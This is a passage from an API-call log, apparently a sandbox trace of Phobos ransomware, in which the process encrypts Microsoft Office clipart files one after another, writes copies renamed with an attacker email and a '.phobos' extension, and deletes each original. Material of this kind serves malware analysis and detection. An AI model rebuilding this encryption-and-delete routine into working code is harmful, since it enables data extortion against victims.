Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.831] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.831] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.831] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0133.831] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.831] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x380, lpOverlapped=0x0) returned 1 [0133.839] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x390, dwBufLen=0x390 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x390) returned 1 [0133.839] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x390, lpOverlapped=0x0) returned 1 [0133.840] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752b18) returned 1 [0133.840] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.840] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.840] CryptDestroyKey (hKey=0x752b18) returned 1 [0133.840] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.840] CryptDestroyKey (hKey=0x753098) returned 1 [0133.840] CloseHandle (hObject=0x30c) returned 1 [0133.840] CloseHandle (hObject=0x310) returned 1 [0133.840] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0133.841] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.841] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=11152) returned 1 [0133.841] CloseHandle (hObject=0x310) returned 1 [0133.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0133.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.842] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.842] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.842] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d98) returned 1 [0133.842] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.842] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x2b90, lpOverlapped=0x0) returned 1 [0133.850] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2ba0, dwBufLen=0x2ba0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2ba0) returned 1 [0133.851] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x2ba0, lpOverlapped=0x0) returned 1 [0133.852] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x753098) returned 1 [0133.852] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.852] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0133.852] CryptDestroyKey (hKey=0x753098) returned 1 [0133.852] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0133.852] CryptDestroyKey (hKey=0x752d98) returned 1 [0133.852] CloseHandle (hObject=0x310) returned 1 [0133.852] CloseHandle (hObject=0x30c) returned 1 [0133.852] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0133.853] SetEvent (hEvent=0x2b8) returned 1 [0133.853] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0133.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.853] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=9010) returned 1 [0133.853] CloseHandle (hObject=0x30c) returned 1 [0133.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0133.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0133.854] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.854] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0133.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0133.854] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d58) returned 1 [0133.854] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0133.854] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x2332, lpOverlapped=0x0) returned 1 [0133.896] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2340, dwBufLen=0x2340 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x2340) returned 1 [0133.896] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x2340, lpOverlapped=0x0) returned 1 [0134.009] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752f18) returned 1 [0134.009] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.009] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.010] CryptDestroyKey (hKey=0x752f18) returned 1 [0134.010] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.010] CryptDestroyKey (hKey=0x752d58) returned 1 [0134.010] CloseHandle (hObject=0x30c) returned 1 [0134.010] CloseHandle (hObject=0x310) returned 1 [0134.010] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0134.011] SetEvent (hEvent=0x2b8) returned 1 [0134.011] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.011] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=15164) returned 1 [0134.011] CloseHandle (hObject=0x310) returned 1 [0134.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0134.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.012] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.012] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.012] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752c58) returned 1 [0134.012] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.013] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3b3c, lpOverlapped=0x0) returned 1 [0134.038] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3b40, dwBufLen=0x3b40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3b40) returned 1 [0134.038] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3b40, lpOverlapped=0x0) returned 1 [0134.039] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752f18) returned 1 [0134.039] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.039] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.039] CryptDestroyKey (hKey=0x752f18) returned 1 [0134.039] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.039] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.039] CloseHandle (hObject=0x310) returned 1 [0134.039] CloseHandle (hObject=0x30c) returned 1 [0134.040] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0134.041] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.041] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2412) returned 1 [0134.041] CloseHandle (hObject=0x30c) returned 1 [0134.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0134.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.041] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.041] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.042] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752c58) returned 1 [0134.042] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.042] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x96c, lpOverlapped=0x0) returned 1 [0134.056] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x970, dwBufLen=0x970 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x970) returned 1 [0134.056] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x970, lpOverlapped=0x0) returned 1 [0134.057] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752fd8) returned 1 [0134.057] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.057] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.057] CryptDestroyKey (hKey=0x752fd8) returned 1 [0134.057] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.057] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.057] CloseHandle (hObject=0x30c) returned 1 [0134.057] CloseHandle (hObject=0x310) returned 1 [0134.057] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0134.058] SetEvent (hEvent=0x2b8) returned 1 [0134.058] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.058] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3964) returned 1 [0134.058] CloseHandle (hObject=0x310) returned 1 [0134.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0134.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.059] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.059] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.059] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x7530d8) returned 1 [0134.059] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.059] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xf7c, lpOverlapped=0x0) returned 1 [0134.069] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xf80, dwBufLen=0xf80 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xf80) returned 1 [0134.069] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf80, lpOverlapped=0x0) returned 1 [0134.070] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0134.070] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 